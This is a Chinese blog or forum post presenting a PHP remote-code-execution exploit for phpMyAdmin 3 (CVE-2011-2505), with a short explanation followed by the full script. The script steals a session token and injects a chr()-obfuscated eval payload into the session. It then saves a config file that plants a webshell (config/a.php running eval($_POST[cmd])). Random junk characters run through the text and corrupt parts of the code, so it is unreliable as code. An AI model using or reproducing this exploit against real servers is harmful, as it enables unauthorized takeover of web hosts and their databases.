最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。, |% J5 o1 X2 t$ [1 h
2 p7 a9 U% W9 D1 N; [% L4 [' A昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。4 e% ^* U4 i6 C" O& D
, j; i! X9 [! O
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
& F7 f# X/ F7 G8 v2 H( K& @, k一是session.auto_start = 1;" D! @" F* a5 u3 }
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
5 @9 f& C% ^! l) s6 X* L0 j8 D当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
0 C$ P$ z1 E! K( a9 Q6 J Y/ P7 O7 _) P
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
2 A0 y! w& E/ t/ @6 Y+ x: @0 N3 T- k @3 p1 d
于是写了这个php版本的exp,代码如下:3 Y% S5 J- O% c
+ l, @' q4 v6 ~- Y6 Y#!/usr/bin/php
+ x) K1 Y: h7 j7 q& j+ \<?php
* Z) G& A' X8 f2 `0 yprint_r('" p; g% N( U0 M, n# R2 e/ X
+---------------------------------------------------------------------------+8 [2 F) O6 y" ]* E; c" f" j) q
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]" L4 }0 H, R! ?7 o6 i
by oldjun(www.oldjun.com)
! u2 d" {5 Z5 ?! H* l& B! Dwelcome to www.t00ls.net
$ G2 Q: N3 s9 o$ x7 Fmail: oldjun@gmail.com
% C# h! q* V8 X- B2 P: {7 z. G, |+ i$ TAssigned CVE id: CVE-2011-2505
- f0 A# a6 P; M+---------------------------------------------------------------------------+
; H- q8 x8 V2 n* _6 }: w');8 u( g2 V" t) }# e* I1 _
' m `6 ?5 I) C, U$ i/**5 n0 e& x& Z7 V4 E- l; n0 E+ M" w! d
* working when the directory:"config" exists and is writeable.
7 L7 v. v, z G; a* L3 E**/
8 S. I) y9 B2 j# a5 Y( d
. [" N, [/ A" z: q1 v+ L A/ ^2 a6 ?if ($argc < 3) {+ m; M5 V* V" O% d$ Z d
print_r('. s' C2 M; W% }1 S$ O6 {
+---------------------------------------------------------------------------+% O& Z* C0 x9 A1 d$ v7 D" ^
Usage: php '.$argv[0].' host path
; R# m5 j1 K; g+ l; W4 p$ P" V: x# Mhost: target server (ip/hostname)
, {: Z% c7 X/ k S: Xpath: path to pma38 {7 s, ~3 c& |2 C" M$ T
Example:
7 O, U L/ M% ]6 y% m. N, H3 h. }php '.$argv[0].' localhost /pma/1 n. r7 N" F. K
+---------------------------------------------------------------------------+
- o6 E; w. B1 g F4 L* @1 H$ O# E');3 e" f# g" N5 |( k4 H
exit;
; c' d, a; i- {& i: a' m}7 D) p( S! R$ M: `5 K+ c# z
7 | } Q, \& O/ w# e+ Z8 g( z' m$host = $argv[1];
# k& M3 d" R: O5 u+ t$path = $argv[2];! T8 R7 O* [: a: D# j. Z
5 X9 b, F' z$ W; k i( N) ]9 ]! f% i, X
/**
8 a. a7 R y$ `! M7 r * Try to determine if the directory:"config" exists. P% U* ~2 ?9 J* d5 m
**/7 m, Q) @) X7 e; p
echo "[+] Try to determine if the directory:config exists....\n";/ i# {6 @# W5 I# `) s& F
$returnstr=php_request('config/');
2 K1 `/ ]) Q; Q' s5 Qif(strpos($returnstr,'404')){
) W) K4 m/ ~ a! l2 x& \ exit("[-] Exploit Failed! The directory:config do not exists!\n");% l2 ]3 p/ s* M( y5 \. Y* k
}
# [/ [* d1 D% f6 b/ n3 s9 p$ ?" \) m* g* C8 X& i
/**
4 t, {+ X0 a% ^0 E' ~% d2 P * Try to get token and sessionid
T& ]6 v o- f" S4 `; n& {2 ?: {+ z2 @**/! d- Z: k6 K6 V9 Z8 b7 z
echo "[+] Try to get token and sessionid....\n";/ O+ l8 o- f$ m* H: H; b
$result=php_request('index.php');4 L! a! X+ w/ C" q
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
8 S Y8 s: i5 Z ~; d- ]4 y$token=$resp[3];, V, E0 e' Z& h* g
$sessionid=$resp[1];
. ]3 P( Q ~" l% bif($token && $sessionid){. A N( o" U% ^; B5 U5 c- C
echo "[+] token token\n";( W+ C( U0 t, B M8 B
echo "[+] Session ID sessionid\n";& i/ X" P# @+ E8 G- m
}else{
( l7 i. e, m: @ exit("[-] Can't get token and Session ID,Exploit Failed!\n");
4 z6 [; y) ?: E! b* W; {}; E6 O& D: X5 d j; z3 ?' ]7 Z
' K7 s5 E# C( \1 z% |0 `; H
/**
% A, W1 k7 a" `( ^# N' H9 i: n( g0 m * Try to insert shell into session
0 E! N5 }8 o% H0 n4 G) {**/
5 T0 j/ c9 `2 T8 ~2 r2 ^" k7 m$ Decho "[+] Try to insert shell into session....\n";" G7 w, G( [0 L4 ^
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.6 L/ ]6 \$ }9 v' ^5 ~, c+ j! O
/ Y$ Y* Y% x+ Y+ o/**
8 T* e) j! X3 i8 ~) }+ A b * Try to create webshell1 p a" V- V3 g9 A4 e( {
**/* V- A0 y7 a8 V1 |5 j% }- m9 |
echo "[+] Try to create webshell....\n";
( w$ `' P6 O- c! {: V9 {php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
- x, ^* W m4 I+ a/**
5 V; p7 e1 m0 S3 R. \ Z0 _ @ * Try to check if the webshell was created successfully
3 @) X. ? ]3 t**/1 B% U0 v0 C; S' E& C' t
echo "[+] Try to check if the webshell was created successfully....\n";, U) E7 m$ _6 @4 i4 D
$content=php_request('config/config.inc.php');" W" H* ~9 b- t! Q V1 x& m
if(strpos($content,'t00ls')){
( \7 z9 J3 }7 r* U) U3 D3 {" I; \ echo "[+] Congratulations! Expoilt successfully....\n"; D0 q8 s/ e6 ~ x5 Z
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";- A- {. W. x+ d4 I7 t
}else{6 X8 V. {0 C3 r- ~3 l8 ^& r% q- e3 i
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
% V; C- B9 B) d+ F# A}& O8 o# h# X$ [9 I) _) E) L
2 _) l, o4 ~3 G) p' H+ _function php_request($url,$data='',$cookie=''){
/ x v# B% `/ p8 S global $host, $path;
u o9 W7 s: ?$ s* g" `8 x
# B9 q9 ~: G& ^ $method=$data?'POST':'GET';
8 a6 g; } a/ m& t
" K8 W$ }. e+ Q1 ]# g, I $packet = $method." ".$path.$url." HTTP/1.1\r\n";. ?# G6 R+ X9 ~, p& u
$packet .= "Accept: */*\r\n";
6 ?4 l: A* R2 B J9 y- T/ ?3 q $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
. ^. t2 X9 e6 ]0 b' w $packet .= "Host: $host\r\n";
! w& \ B; E2 f" L* u1 E, X3 I* S% L5 G $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
$ S# t( A0 a) Y& i H( D $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";1 H$ q3 ~5 ?$ x
$packet .= $cookie?"Cookie: $cookie\r\n":"";( e+ Q, f i0 u, y; j
$packet .= "Connection: Close\r\n\r\n";
6 ~9 V- e4 q2 A9 d% b8 c $packet .= $data?$data:"";
6 @" `& z8 E# r; | i4 X4 @, F6 C" K8 @: v, z& v$ k! y
$fp = fsockopen(gethostbyname($host), 80);: D$ }: A: s7 }/ X6 A4 d* q0 h
if (!$fp) {$ o( ~6 L; Z" v) f/ {1 }
echo 'No response from '.$host; die;7 s' g. j- C; B( z2 Y" Z; h# V3 [
}
) O) v/ K' K' E, Q fputs($fp, $packet);+ H0 b8 [+ K; S- Z# E3 P
; E s7 R/ w* p- @$ c0 b8 @- M $resp = '';+ v# V2 J; d- K3 _6 ^# [3 u+ l
1 l8 a5 X L! i. t+ d8 L0 T while ($fp && !feof($fp))% J* Y' x$ C( X2 h j3 s
$resp .= fread($fp, 1024);
+ _' h1 U3 u6 J5 @4 h$ m! l j
% v `; `% b# Z" T return $resp;) b/ l: h8 r4 c' c5 |9 Q+ L4 r
}7 V" |* W& e: D& b3 |* ?/ N
. E! d$ B6 i, L- J2 P* w' C?>
4 s9 W! s8 k$ S \. |